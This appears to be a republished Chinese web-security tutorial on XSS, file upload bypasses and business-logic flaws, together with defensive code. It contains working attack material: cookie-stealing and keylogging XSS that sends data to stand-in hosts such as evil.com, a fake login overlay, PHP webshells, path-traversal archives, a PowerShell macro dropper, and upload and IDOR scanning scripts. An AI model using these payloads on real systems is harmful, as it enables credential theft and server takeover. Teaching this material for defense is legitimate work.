当前位置: 首页 > news >正文

2.6、Web漏洞挖掘实战(下):XSS、文件上传与逻辑漏洞深度解析

当SQL注入逐渐被重视,攻击者的目光转向了更隐蔽的业务逻辑层。

一、开篇:从"技术漏洞"到"逻辑漏洞"的思维转变

在上一篇文章中,我们探讨了SQL注入、命令注入等技术型漏洞。今天,我们将深入XSS跨站脚本攻击、文件上传漏洞,以及更隐蔽但危害巨大的业务逻辑漏洞

这些漏洞往往因为"看起来不那么技术"而被忽视,但实际上,它们正是现代Web应用面临的主要威胁。

真实案例警示

案例1:存储型XSS导致的内网沦陷
某大型企业办公系统存在存储型XSS漏洞,攻击者在公告板插入恶意脚本,窃取管理员cookie,最终获取整个内网控制权。

案例2:文件上传漏洞引发的供应链攻击
某知名CMS文件上传校验不严,攻击者上传webshell,进而篡改软件更新包,导致所有用户被植入后门。

案例3:逻辑越权导致的亿元损失
某金融平台存在平行越权,攻击者通过修改用户ID参数,可查看任意用户的投资记录和交易数据。

二、XSS跨站脚本攻击:前端的安全噩梦

2.1 XSS攻击原理与分类

XSS的本质是恶意脚本在受害者的浏览器中执行,核心问题在于"不可信数据的未充分过滤"。

// 一个典型的XSS攻击载荷

<script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

反射型XSS:一次性攻击

攻击特征

  • 恶意脚本来自当前HTTP请求
  • 非持久化,需要诱骗用户点击特定链接
  • 通常通过邮件、即时消息传播

实战示例

# 存在漏洞的URL

https://vulnerable-site.com/search?q=<script>alert('XSS')</script>

# 攻击者构造的恶意链接

https://vulnerable-site.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

检测方法

# 使用Python requests库检测反射型XSS

import requests

def test_reflected_xss(url, param):

    payloads = [

        "<script>alert('XSS')</script>",

        "<img src=x onerror=alert(1)>",

        "'\"><script>alert('XSS')</script>"

    ]

   

    for payload in payloads:

        test_url = f"{url}?{param}={payload}"

        response = requests.get(test_url)

        if payload in response.text:

            print(f"[!] 可能存在XSS漏洞: {payload}")

存储型XSS:持久化威胁

攻击特征

  • 恶意脚本被存储到服务器(数据库、文件等)
  • 所有访问受影响页面的用户都会执行恶意脚本
  • 危害更大,传播范围更广

常见攻击点

  • 用户评论、留言板
  • 个人资料页(用户名、签名)
  • 文件上传(HTML文件)
  • 站内消息系统

防御方案

运行

<!-- 服务端渲染时的防御 -->

<div>

  {{ user_content | escape }}

</div>

<!-- 现代前端框架的自动防护 -->

// React默认转义

<div>{userContent}</div>

// Vue.js默认转义

<div v-html="userContent"></div> <!-- 危险! -->

<div>{{ userContent }}</div>     <!-- 安全 -->

2.2 XSS攻击的进阶利用

窃取用户凭证

// 获取cookie并发送到攻击者服务器

var img = new Image();

img.src = 'http://evil-collector.com/steal?cookie=' + document.cookie;

// 捕获键盘记录

document.onkeypress = function(e) {

    var xhr = new XMLHttpRequest();

    xhr.open('POST', 'http://evil-collector.com/keylog', true);

    xhr.send('key=' + e.key);

}

界面伪装攻击

运行

<!-- 伪造登录框窃取凭证 -->

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">

  <div style="width:300px;margin:100px auto;background:white;padding:20px;">

    <h3>会话已过期,请重新登录</h3>

    <input type="text" id="username" placeholder="用户名">

    <input type="password" id="password" placeholder="密码">

    <button onclick="stealCredentials()">登录</button>

  </div>

</div>

<script>

function stealCredentials() {

    var username = document.getElementById('username').value;

    var password = document.getElementById('password').value;

   

    // 发送到攻击者服务器

    fetch('http://evil.com/steal', {

        method: 'POST',

        body: JSON.stringify({user: username, pass: password})

    });

   

    // 可选:提交到真实登录接口避免用户怀疑

    document.forms[0].submit();

}

</script>

三、文件上传漏洞:从功能到后门的蜕变

3.1 文件上传的常见绕过技巧

客户端校验绕过

漏洞代码

// 前端JavaScript校验(可轻易绕过)

function checkFile() {

    var file = document.getElementById('file').value;

    var ext = file.split('.').pop().toLowerCase();

    if (['jpg', 'png', 'gif'].indexOf(ext) === -1) {

        alert('只允许上传图片文件!');

        return false;

    }

    return true;

}

绕过方法

# 1. 直接删除前端校验

# 浏览器开发者工具删除onsubmit事件

# 2. 使用Burp Suite拦截修改

# 修改Content-Type和文件后缀

# 3. 使用curl直接发送请求

curl -X POST -F "file=@shell.php" -F "submit=Upload" http://target.com/upload

服务端校验绕过

技巧1:文件类型混淆

POST /upload HTTP/1.1

Content-Type: multipart/form-data

------WebKitFormBoundary

Content-Disposition: form-data; name="file"; filename="shell.jpg"

Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

------WebKitFormBoundary--

技巧2:双重后缀攻击

shell.php.jpg

shell.php.png

shell.phtml

技巧3:NULL字节截断

shell.php%00.jpg

shell.asp::DATA

内容校验绕过

GIF文件头绕过

// 在PHP文件开头添加GIF文件头

GIF89a;

<?php system($_GET['cmd']); ?>

Exif数据注入

# 使用exiftool在图片元数据中插入PHP代码

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

mv image.jpg image.php.jpg

3.2 高级文件上传攻击

压缩包解压漏洞

攻击原理:解压程序未检查压缩包内文件路径

利用方法

# 创建包含路径遍历的压缩包

echo '<?php system($_GET["cmd"]); ?>' > shell.php

zip --symlinks evil.zip ../../../var/www/html/shell.php shell.php

# 或使用tar

tar -czf evil.tar.gz --transform 's,.*,../../var/www/html/shell.php,' shell.php

Office文档宏攻击

# 生成包含宏的恶意Word文档

from maldoc import OfficeDocument

doc = OfficeDocument('word')

doc.add_macro('''

    Sub AutoOpen()

        Shell "cmd /c powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdw..."

    End Sub

''')

doc.save('malicious_doc.doc')

3.3 文件上传的全面防御方案

<?php

class SecureFileUpload {

    private $allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];

    private $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];

    private $max_file_size = 2097152; // 2MB

    private $upload_path = './uploads/';

   

    public function upload($file) {

        // 1. 检查文件大小

        if ($file['size'] > $this->max_file_size) {

            throw new Exception('文件过大');

        }

       

        // 2. 检查文件扩展名

        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

        if (!in_array($extension, $this->allowed_extensions)) {

            throw new Exception('不支持的文件类型');

        }

       

        // 3. 检查MIME类型

        $finfo = finfo_open(FILEINFO_MIME_TYPE);

        $mime_type = finfo_file($finfo, $file['tmp_name']);

        finfo_close($finfo);

        

        if (!in_array($mime_type, $this->allowed_mime_types)) {

            throw new Exception('非法的文件类型');

        }

       

        // 4. 重命名文件

        $new_filename = uniqid() . '.' . $extension;

        $destination = $this->upload_path . $new_filename;

       

        // 5. 移动文件

        if (!move_uploaded_file($file['tmp_name'], $destination)) {

            throw new Exception('文件上传失败');

        }

       

        // 6. 图片文件二次渲染

        if (strpos($mime_type, 'image/') === 0) {

            $this->reprocess_image($destination);

        }

       

        return $new_filename;

    }

   

    private function reprocess_image($file_path) {

        // 通过GD库重新生成图片,消除潜在恶意代码

        $image_info = getimagesize($file_path);

        $image_type = $image_info[2];

       

        switch ($image_type) {

            case IMAGETYPE_JPEG:

                $image = imagecreatefromjpeg($file_path);

                imagejpeg($image, $file_path, 100);

                break;

            case IMAGETYPE_PNG:

                $image = imagecreatefrompng($file_path);

                imagepng($image, $file_path);

                break;

            case IMAGETYPE_GIF:

                $image = imagecreatefromgif($file_path);

                imagegif($image, $file_path);

                break;

        }

       

        imagedestroy($image);

    }

}

?>

四、业务逻辑漏洞:看不见的致命威胁

4.1 越权访问漏洞

平行越权(水平越权)

漏洞特征:用户A可以访问用户B的数据

测试用例

# 正常请求

GET /api/orders/12345 HTTP/1.1

Authorization: Bearer userA_token

# 攻击请求 - 修改订单ID

GET /api/orders/12346 HTTP/1.1 

Authorization: Bearer userA_token

修复方案

# Django修复示例

class OrderDetailView(APIView):

    def get(self, request, order_id):

        try:

            # 确保订单属于当前用户

            order = Order.objects.get(id=order_id, user=request.user)

            serializer = OrderSerializer(order)

            return Response(serializer.data)

        except Order.DoesNotExist:

            return Response({'error': '订单不存在'}, status=404)

垂直越权(权限提升)

漏洞特征:普通用户可以执行管理员操作

攻击示例

# 普通用户尝试访问管理员接口

POST /api/admin/users/delete HTTP/1.1

Authorization: Bearer user_token

Content-Type: application/json

{"user_id": 123}

修复方案

// Spring Security修复示例

@PreAuthorize("hasRole('ADMIN')")

@DeleteMapping("/admin/users/{userId}")

public ResponseEntity<?> deleteUser(@PathVariable Long userId) {

    userService.deleteUser(userId);

    return ResponseEntity.ok().build();

}

4.2 密码重置漏洞

密码重置令牌泄露

漏洞代码

// 不安全的密码重置实现

// 前端直接显示重置令牌

$.get('/api/reset-token?email=user@example.com', function(response) {

    $('#token').text(response.token); // 令牌暴露在页面

});

安全实现

# Django安全的重置流程

from django.core.mail import send_mail

from django.utils.crypto import get_random_string

def send_reset_email(user_email):

    # 生成令牌并存储到数据库

    token = get_random_string(50)

    ResetToken.objects.create(email=user_email, token=token)

   

    # 发送包含重置链接的邮件

    reset_url = f"https://example.com/reset-password?token={token}"

    send_mail(

        '密码重置请求',

        f'请点击链接重置密码: {reset_url}',

        'noreply@example.com',

        [user_email],

        fail_silently=False,

    )

重置流程绕过

攻击场景

  1. 修改接收邮件的手机号/邮箱参数
  2. 跳过验证步骤直接设置新密码
  3. 暴力破解重置令牌

防护措施

class PasswordResetView(View):

    def post(self, request):

        token = request.POST.get('token')

        new_password = request.POST.get('new_password')

       

        try:

            reset_record = ResetToken.objects.get(token=token)

           

            # 检查令牌是否过期(1小时有效)

            if reset_record.created_at < timezone.now() - timedelta(hours=1):

                return JsonResponse({'error': '令牌已过期'}, status=400)

           

            # 更新密码并标记令牌为已使用

            user = User.objects.get(email=reset_record.email)

            user.set_password(new_password)

            user.save()

            reset_record.delete()  # 一次性令牌

           

            return JsonResponse({'message': '密码重置成功'})

        except ResetToken.DoesNotExist:

            return JsonResponse({'error': '无效的令牌'}, status=400)

4.3 业务逻辑绕过

金额篡改攻击

漏洞请求

POST /api/payment HTTP/1.1

Content-Type: application/json

{

  "product_id": "prod_001",

  "quantity": 1,

  "unit_price": 100.00,  // 前端传递的价格

  "total_amount": 100.00

}

攻击请求

http

复制

下载

POST /api/payment HTTP/1.1

Content-Type: application/json

{

  "product_id": "prod_001",

  "quantity": 1,

  "unit_price": 0.01,      // 篡改价格

  "total_amount": 0.01     // 篡改总金额

}

修复方案

class PaymentView(APIView):

    def post(self, request):

        product_id = request.data.get('product_id')

        quantity = request.data.get('quantity')

       

        # 从数据库获取真实价格,不信任前端传递的价格

        try:

            product = Product.objects.get(id=product_id)

            unit_price = product.price

            total_amount = unit_price * quantity

           

            # 创建支付订单

            order = Order.objects.create(

                product=product,

                quantity=quantity,

                unit_price=unit_price,

                total_amount=total_amount,

                user=request.user

            )

           

            return Response({'order_id': order.id, 'amount': total_amount})

        except Product.DoesNotExist:

            return Response({'error': '商品不存在'}, status=400)

竞争条件漏洞

漏洞代码

# 优惠券使用的不安全实现

def use_coupon(user_id, coupon_code):

    coupon = Coupon.objects.get(code=coupon_code)

    if coupon.used:

        return False  # 优惠券已使用

   

    # 此处存在时间窗口,可能被并发利用

    time.sleep(0.1)  # 模拟处理时间

   

    coupon.used = True

    coupon.user_id = user_id

    coupon.save()

   

    return True

修复方案

# 使用数据库事务和行锁

from django.db import transaction

def use_coupon(user_id, coupon_code):

    with transaction.atomic():

        # SELECT FOR UPDATE 锁定记录

        coupon = Coupon.objects.select_for_update().get(code=coupon_code)

       

        if coupon.used:

            return False

       

        coupon.used = True

        coupon.user_id = user_id

        coupon.save()

   

    return True

五、自动化检测与工具使用

5.1 XSS自动化检测

# 使用XSStrike进行高级XSS检测

python xsstrike.py -u "https://target.com/search?q=test"

# 使用Burp Suite的Scanner模块

# 1. 配置爬虫扫描目标

# 2. 使用Active Scan进行深度检测

# 3. 分析扫描报告中的XSS漏洞

5.2 文件上传漏洞扫描

# 自定义文件上传检测脚本

import requests

def test_file_upload(target_url):

    malicious_files = {

        'shell.php': '<?php system($_GET["cmd"]); ?>',

        'test.jpg.php': 'GIF89a;<?php system($_GET["cmd"]); ?>',

        'test.phtml': '<?php echo "evil"; ?>'

    }

   

    for filename, content in malicious_files.items():

        files = {'file': (filename, content, 'image/jpeg')}

        response = requests.post(target_url, files=files)

       

        if response.status_code == 200:

            print(f"[!] 可能成功上传: {filename}")

5.3 业务逻辑漏洞检测

# 越权访问检测脚本

import requests

def test_idor(base_url, user_tokens):

    """检测平行越权漏洞"""

    for user_id in range(100, 110):

        for token in user_tokens:

            headers = {'Authorization': f'Bearer {token}'}

            response = requests.get(f'{base_url}/api/user/{user_id}', headers=headers)

           

            if response.status_code == 200:

                print(f"[!] 用户 {token[:8]}... 可能越权访问了用户 {user_id} 的数据")

六、防御体系构建

6.1 安全开发生命周期

需求阶段 → 威胁建模 → 安全设计 → 安全编码 → 安全测试 → 安全部署 → 安全监控

6.2 具体防御措施总结

XSS防御

  • 输入验证:白名单原则
  • 输出编码:上下文相关编码(HTML、JS、URL)
  • 内容安全策略:CSP头
  • HTTPOnly Cookie:防止cookie被窃取

文件上传防御

  • 文件类型校验:扩展名 + MIME类型 + 文件头
  • 重命名存储:避免直接使用用户文件名
  • 隔离运行:上传文件在沙箱环境中处理
  • 权限控制:上传目录无执行权限

逻辑漏洞防御

  • 权限校验:每个操作前验证权限
  • 业务规则服务端校验:不信任任何前端输入
  • 操作日志:记录关键业务操作
  • 代码审查:重点关注业务逻辑流程

七、总结与展望

在本篇文章中,我们深入探讨了XSS、文件上传和业务逻辑漏洞的攻防技术。与SQL注入等技术型漏洞相比,这些漏洞更考验测试人员对业务逻辑的理解攻击面的发现能力

核心要点回顾

  1. XSS攻击的本质是信任了不可信的输入,防御关键在于"不信任任何用户输入"
  2. 文件上传漏洞的绕过手段多样,需要多层次、深度的防护
  3. 业务逻辑漏洞危害巨大且难以发现,需要深入理解业务流程

实战建议

  • 养成"攻击者思维",从异常角度审视系统
  • 自动化工具与手动测试相结合
  • 关注业务场景,理解每个功能的设计初衷
  • 建立持续的安全测试和代码审查流程

随着Web技术的不断发展,新的攻击面也在不断涌现。在下一篇文章中,我们将探讨《内网横向移动技术详解》,了解攻击者在突破边界后如何在内网中扩大战果。

http://www.dtcms.com/a/520730.html

相关文章:

  • 邢台做网站的公司有那个营销型网站建设营销型
  • 青岛住房和城乡建设厅网站首页iis7.0 asp网站配置
  • vue3表格显示隐藏列全屏拖动功能
  • Git Commit Message 规范:写出清晰、可维护的提交记录
  • Orleans + Kubernetes + Istio 服务网格集成深度解析
  • 51网站怎么打开注册城乡规划师有什么用
  • 相向指针|盛最多水的容器|接雨水|验证回文串
  • Web3j 中使用 Transaction 类进行以太坊交互的核心方法
  • 承德微网站开发怎么弄一个自己的网站
  • web及h5录音wav下载
  • Kotlin 协程中常见的异步返回与控制方式(速览)
  • 做网站还有前景么动漫网页设计报告
  • Maven 多配置文件的使用
  • 【双机位A卷】华为OD笔试之【哈希表】双机位A-跳房子I【Py/Java/C++/C/JS/Go六种语言】【欧弟算法】全网注释最详细分类最全的华子OD真题题解
  • SQL 拼接完全指南
  • 制作的网站wordpress还是自己写
  • 【HLS】Java实现统计HLS的m3u8清单中所有ts切片的视频持续时长
  • 免费网站建设ppt模板下载山西省建设银行网站首页
  • 增城网站建设价格郑州seo
  • 【Rust实战】从零构建高性能异步Web服务器:深入理解所有权与生命周期
  • Vlan-ACCESS接口+Trunk接口
  • 网站开发遇到的最大困难被k掉的网站怎么做才能有收录
  • SpringBoot-Web开发之文件上传
  • 5.2 类
  • 厦门协会网站建设电影网站做淘客
  • 网站建设介绍书如何注销公司流程及费用
  • 阿里国际站网站建设wordpress mysql 扩展
  • LeetCode 405 - 数字转换为十六进制数
  • 漳州做网站喊多少钱wordpress栏目更改无法显示
  • 集团公司网站欣赏如何做企业网站内链